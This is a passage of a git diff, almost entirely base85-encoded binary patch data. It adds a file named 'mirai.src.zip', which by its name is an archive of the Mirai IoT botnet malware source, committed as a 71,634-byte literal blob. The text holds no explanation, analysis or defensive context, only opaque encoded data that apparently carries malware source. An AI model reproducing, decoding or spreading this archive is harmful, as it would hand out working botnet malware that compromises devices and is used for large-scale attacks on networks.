z1G&9JnPY(9725t0snbrW0m>i7E|;|hJ#GX;f(%YjafjA~OFVVll6%wPMo#sM@i+Qy zIqk=!^OifUAqMT{==DNGvly?X9zYYq{L>u|I1q`-?FS8N`&KaX_l*y*KW}{aFH4iV zu>1Et+=boJ{`dNbpSM3ifVa0l{1*66cR&0DLYji0(!KqE1^#^#1O$A06T~0D_xzF-}m5d0BEw`j{NRp0uhx#qTIS5{2|JHSAe@w zUXlMc%AMw@pFwUt0{#%>ep~h3AXYDa8|3dMYsjy-ZL@Pw=2>4c=@c)2+l}p_P+X~+Y{}fOCJMym*io4`0 z@%!Yz1Qq`d{Ofu1UGUPY`(VqzPM`lB`PZ|zyJRNW-;n=0iTiitU#s+Y$$AR+$$!=C z{~h?(3gTTbA>cmvuX^IY1OHl~xC_QszYqSaUh(h1zrG^f1@CCx2mgFw`X@3hWGis% Qbb$vI2yum3)VuxmKNo;zMF0Q* literal 0 HcmV?d00001 diff --git a/mirai.src.zip b/mirai.src.zip new file mode 100644 index 0000000000000000000000000000000000000000..2f7ea3ffd976b0d307bc478398ca24ff6422608c GIT binary patch literal 71634 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 